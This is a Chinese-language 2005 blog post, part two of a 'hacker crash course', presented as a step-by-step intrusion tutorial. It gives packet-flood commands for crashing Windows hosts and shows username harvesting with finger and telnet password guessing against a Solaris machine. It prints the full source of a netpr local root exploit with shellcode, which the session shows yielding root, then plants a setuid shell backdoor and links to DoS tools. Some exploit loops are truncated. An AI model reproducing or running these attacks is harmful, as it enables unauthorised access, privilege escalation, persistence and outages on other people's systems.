咖喱碗糕`

`∧ ∧︵
ミ^ō^ミ灬)~ ~我是只可爱的狐狸```
http://freedom2130.cnblogs.com
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

黑客速成教材2

Posted on 2005-09-04 04:53  刹那间我存在  阅读(347)  评论(0编辑  收藏  举报
2 GRE
此弱点对所有Service pack有效
在目标机器上,打开任务管理器选择“运行”。并打开 一个DOS窗口(开始-运行-CMD).在Unix类操作系统上:
$ apsend -d --protocol 47 -m 0 -q
在目标主机上你将看到任务管理器内内核记忆的数字将缓慢上升。最终,这些数字将停止增加;此时, CPU在一段时间内有可能被100%占用。现在你可以试着在命令提示符后键入一个命令例如DIR,这时你将看 到一个信息说提示操作系统已不可能完成要执行的命令

3弱点三:GRE
此弱点同样对所有的Service pack有效。请在Unix操作系统上:
#!/bin/csh
foo:
ipsend -i -P gre > /dev/null
goto foo
目标主机很快会蓝屏,大概需要50个数据包。
明白了吧

7 UNIX攻击
这里为了方便我们用finger 0@ip 来找UNIX的薄弱机器
C:\>finger 0@IP
xxx.xxx.xxx.xxx]

Login Name TTY Idle When Where

daemon ??? < . . . . >

bin ??? < . . . . >

sys ??? < . . . . >

jeffrey ??? pts/0 203.66.149.11

daniel ??? 437 114cm.kcable.

jamie ??? 0 203.66.162.68

postgres ??? pts/2 203.66.162.80

nsadmin ??? 768 203.66.19.50

ho ??? 390 61.169.209.106

house18 ??? pts/1 203.66.250.1

tong ??? pts/0 210.226. 42.69

jliu ??? pts/0 203.66.52.87

ptai ??? < . . . . >

看到了吗,这里的LOGIN下的就是我们要的用户名了
比如jeffrey,Daniel,Jamie,postgres
下面我们就来入侵
C:\>telnet xxx.xxx.xxx.xxx
一般的情况下我们都是猜密码,怎么猜??就是上面LOGIN下的用户名让它又做用户名和密码呀,事实上总有一些人为了方便是这么设置的
login: ptai (***输入用户名***)

Password: **** (***输入密码***)

Login incorrect (***登陆失败***)

login: jliu

Password:

Login incorrect

$ login: tong

Password:

Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 (***这个用户上次登陆时的IP***)

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

You have mail. (***HOHO~登陆成功啦***)
看看这不就进来了
$ uname –a (***查看系统版本和补丁信息***)
$ set (***查看一些系??潮淞啃畔?**)
$w 看看用户情况
$ gcc 我们看看有没有编辑器,以后你就知道有什么用了
gcc: No input files
看到没有GCC呀
$ ls -al

total 14

drwxrwxr-x 2 delex staff 512 Jul 4 18:28 .

drwxr-xr-x 35 root root 1024 May 7 10:46 ..

-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile

-rw------- 1 root staff 320 Jul 4 18:52 .sh_history

-rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc

-rw-r--r-- 1 delex staff 581 May 2 10:46 local.login

-rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile

$ cat /etc/passwd (***检查/etc/passwd***)

root:x:0:1uper-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:Nobody:/:

noaccess:x:60002:60002:No Access User:/:

nobody4:x:65534:65534unOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

oracle:x:1001:100::/export/home/oracle:/bin/sh

render7:x:9589:101::/export/home/render7:/bin/sh

$ ls -al / (***查看根目录是否有.rhosts等文件***)

计算机输入信息略
$ netstat -an|grep LISTEN (***查看有没有可疑端口***)
*.111 *.* 0 0 0 0 LISTEN

*.21 *.* 0 0 0 0 LISTEN

*.23 *.* 0 0 0 0 LISTEN

*.514 *.* 0 0 0 0 LISTEN

*.513 *.* 0 0 0 0 LISTEN

*.512 *.* 0 0 0 0 LISTEN

*.540 *.* 0 0 0 0 LISTEN

*.79 *.* 0 0 0 0 LISTEN

*.37 *.* 0 0 0 0 LISTEN

*.7 *.* 0 0 0 0 LISTEN

*.9 *.* 0 0 0 0 LISTEN

*.13 *.* 0 0 0 0 LISTEN

*.19 *.* 0 0 0 0 LISTEN

….

$ cd /tmp

$ ls -al

好像没有什么问题我们来提升权限
$ set
$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$ cd /tmp
$ cat > test.c (***用cat命令写一个文件***)
这是核心呀,这就是拿到ROOT权限中重要的一步
*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/

/*## /usr/lib/lp/bin/netpr #*/


/* requires to specify the address of a host with 515 port opened */


#define NOPNUM 4000

#define ADRNUM 1200

#define ALLIGN 3


char shellcode[]=

"\x20\xbf\xff\xff" /* bn,a */

"\x20\xbf\xff\xff" /* bn,a */

"\x7f\xff\xff\xff" /* call */

"\x90\x03\xe0\x20" /* add %o7,32,%o0 */

"\x92\x02\x20\x10" /* add %o0,16,%o1 */

"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

"\x82\x10\x20\x0b" /* mov 0xb,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"/bin/ksh"

;


char jump[]=

"\x81\xc3\xe0\x08" /* jmp %o7+8 */

"\x90\x10\x00\x0e" /* mov %sp,%o0 */

;


static char nop[]="\x80\x1c\x40\x11";


main(int argc,char **argv){

char buffer[10000],adr[4],*b,*envp[2];

int i;


printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");

printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");


if(argc==1){

printf("usage: %s lpserver\n",argv[0]);

exit(-1);

}


*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;


envp[0]=&buffer[0];

envp[1]=0;


b=&buffer[0];

sprintf(b,"xxx=");

b+=4;

for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;

for(i=0;i

for(i=0;i

*b=0;


b=&buffer[5000];

for(i=0;i

for(i=0;i

*b=0;


execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],

"-p",&buffer[5000],"/bin/sh",0,envp);

}

^D
(***这里是按ctrl + d 结束写文件,你用vi来写也可以,ftp,rcp等上传也可以。***)
(***源程序在 http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)

$ ls -al /tmp (***查看test.c是否建立***)

找到了吧,哪我们就成功的建立了
$ gcc -o test test.c 编辑它,使它溢出
$ ./test

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc


usage: ./test lpserver

$ ./test localhost

copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc


# id

uid=1035(delex) gid=20(staff) euid=0(root) (***成功获得root***)
OK,想做什么就看你的了下面是一些题外话了
# mkdir /usr/lib/...

# cp /bin/ksh /usr/lib/…/.x (***做个简单的后门***)

# chmod +s /usr/lib/…/.x

# cat /etc/hosts (***看看这个网络多大***)

以下是在上面所要用到的扫描器和原代码
SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip

SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip

里面所用到的有些程序代码请到 http://lsd-pl.net/ 或 http://www.hack.co.za 查找。
其实每个操作系统都有漏洞,简单的说我们只要找到该系统对应的漏洞然后编辑它,使它溢出就可以了,这也是黑客最常用的手法


8,D.O.S
呵呵,还记的对白宫的DOS之战吗,呵呵,哪还不来试试
下载软件
FakePing的工具 Http://www.patching.net/shotgun/FakePing.exe
下载 udpflood.zip
安装网址: http://202.102.230.155/netsafe/software/hacker/attack.htm

9 备注
还有一些很好的漏洞资料请大家好好学学
IIS 漏 洞 整 理
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=33

利用wu-ftpd2.x(site exec bug)取得root权限
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=38

入侵检测系统(IDS)简介 转载
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=32

FRONTPAGE漏洞的执行
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=63

ASP漏洞(1)
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=59

ASP漏洞(2)
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=60

ASP漏洞(3)
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=61

CGI漏洞
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=55

IIS漏洞及应用  
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=49

漏洞扫描器大集合
http://www.net228.com/bbs/cgi-bin/topic.cgi?forum=9&topic=87

好了,总算是完成了,大家只要认真的看了,就一定会在技术上有进一步的提高,当然以后大家就只有自已学了,写的不好,请大家见谅。